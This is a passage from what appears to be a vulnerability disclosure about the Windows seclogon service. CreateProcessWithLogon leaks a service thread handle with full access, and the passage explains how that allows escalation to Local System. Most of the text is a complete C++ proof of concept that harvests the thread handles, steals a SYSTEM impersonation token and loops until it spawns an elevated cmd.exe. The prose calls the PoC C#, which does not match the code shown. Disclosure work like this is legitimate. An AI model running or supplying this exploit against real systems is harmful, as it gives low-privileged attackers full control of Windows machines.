Process (-1) and Current Thread (-2). NtDuplicateObject switches the thread’s current process to the target process when duplicating the handle, this means that while duplicating -1 will return a handle to the new process -2 will return a handle to the current thread which is actually a thread inside the svchost process hosting seclogon. When passing DUPLICATE_SAME_ACCESS for the current thread handle it's automatically given THREAD_ALL_ACCESS rights. The handle now exists in the new process and can be used by low privileged code. This can be exploited in a number of ways. The new process can set the thread’s context causing the thread to dispatch to an arbitrary RIP. Or as these are thread pool threads servicing RPC requests for services such as BITS, Task Scheduler or seclogon itself you could do things like force a system level impersonation token (repeatedly) which overrides the security enforcement of these services leading to arbitrary file writes or process creation at Local System. It would be easy enough to run the exploit multiple times to capture handles to all thread pool threads available for RPC in the hosting process and then just keep trying until it succeeds. One final point on exploitability. A normal user cannot use CreateProcessWithToken as the service checks that an arbitrary process can be opened by the user and has SeImpersonatePrivilege in its primary token. CreateProcessWithLogon will work but it seems you’d need to know a user’s password which makes it less useful for a malicious attacker. However you can specify the LOGON_NETCREDENTIALS_ONLY flag which changes the behaviour of LogonUser, instead of needing valid credentials the password is used to change the network password of a copy of the caller’s token. The password can be anything you like, it doesn’t matter. Proof of Concept: I’ve provided a PoC as a C# source code file. You need to compile it with Any CPU support (do not set 32 bit preferred). The PoC must match the OS bitness. 1) Compile the C# source code file. 2) Execute the poc executable as a normal user. This will not work from low IL. 3) The PoC should display a message box on error or success. Expected Result: The call to CreateProcessWithLogon should fail and the PoC will display the error. Observed Result: The process shows that it’s captured a handle from a service process. If you check process explorer or similar you’ll see the thread handle has full access rights. */ #include <stdio.h> #include <tchar.h> #include <Windows.h> #include <map> #define MAX_PROCESSES 1000 HANDLE GetThreadHandle() { PROCESS_INFORMATION procInfo = {}; STARTUPINFO startInfo = {}; startInfo.cb = sizeof(startInfo); startInfo.hStdInput = GetCurrentThread(); startInfo.hStdOutput = GetCurrentThread(); startInfo.hStdError = GetCurrentThread(); startInfo.dwFlags = STARTF_USESTDHANDLES; if (CreateProcessWithLogonW(L"test", L"test", L"test", LOGON_NETCREDENTIALS_ONLY, nullptr, L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo)) { HANDLE hThread; BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4, GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS); DWORD dwLastError = GetLastError(); TerminateProcess(procInfo.hProcess, 1); CloseHandle(procInfo.hProcess); CloseHandle(procInfo.hThread); if (!res) { printf("Error duplicating handle %d\n", dwLastError); exit(1); } return hThread; } else { printf("Error: %d\n", GetLastError()); exit(1); } } typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService); HANDLE GetSystemToken(HANDLE hThread) { SuspendThread(hThread); NtImpersonateThread* fNtImpersonateThread = (NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"), "NtImpersonateThread"); SECURITY_QUALITY_OF_SERVICE sqos = {}; sqos.Length = sizeof(sqos); sqos.ImpersonationLevel = SecurityImpersonation; SetThreadToken(&hThread, nullptr); NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos); if (status != 0) { ResumeThread(hThread); printf("Error impersonating thread %08X\n", status); exit(1); } HANDLE hToken; if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, FALSE, &hToken)) { printf("Error opening thread token: %d\n", GetLastError()); ResumeThread(hThread); exit(1); } ResumeThread(hThread); return hToken; } struct ThreadArg { HANDLE hThread; HANDLE hToken; }; DWORD CALLBACK SetTokenThread(LPVOID lpArg) { ThreadArg* arg = (ThreadArg*)lpArg; while (true) { if (!SetThreadToken(&arg->hThread, arg->hToken)) { printf("Error setting token: %d\n", GetLastError()); break; } } return 0; } int main() { std::map<DWORD, HANDLE> thread_handles; printf("Gathering thread handles\n"); for (int i = 0; i < MAX_PROCESSES; ++i) { HANDLE hThread = GetThreadHandle(); DWORD dwTid = GetThreadId(hThread); if (!dwTid) { printf("Handle not a thread: %d\n", GetLastError()); exit(1); } if (thread_handles.find(dwTid) == thread_handles.end()) { thread_handles[dwTid] = hThread; } else { CloseHandle(hThread); } } printf("Done, got %zd handles\n", thread_handles.size()); if (thread_handles.size() > 0) { HANDLE hToken = GetSystemToken(thread_handles.begin()->second); printf("System Token: %p\n", hToken); for (const auto& pair : thread_handles) { ThreadArg* arg = new ThreadArg; arg->hThread = pair.second; DuplicateToken(hToken, SecurityImpersonation, &arg->hToken); CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr); } while (true) { PROCESS_INFORMATION procInfo = {}; STARTUPINFO startInfo = {}; startInfo.cb = sizeof(startInfo); if (CreateProcessWithLogonW(L"test", L"test", L"test", LOGON_NETCREDENTIALS_ONLY, nullptr, L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo)) { HANDLE hProcessToken; // If we can't get process token good chance it's a system process. if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED, &hProcessToken)) { printf("Couldn't open process token %d\n", GetLastError()); ResumeThread(procInfo.hThread); break; } // Just to be sure let's check the process token isn't elevated. TOKEN_ELEVATION elevation; DWORD dwSize = 0; if (!GetTokenInformation(hProcessToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) { printf("Couldn't get token elevation: %d\n", GetLastError()); ResumeThread(procInfo.hThread); break; } if (elevation.TokenIsElevated) { printf("Created elevated process\n"); break; } TerminateProcess(procInfo.hProcess, 1); CloseHandle(procInfo.hProcess); CloseHandle(procInfo.hThread); } } } return 0; }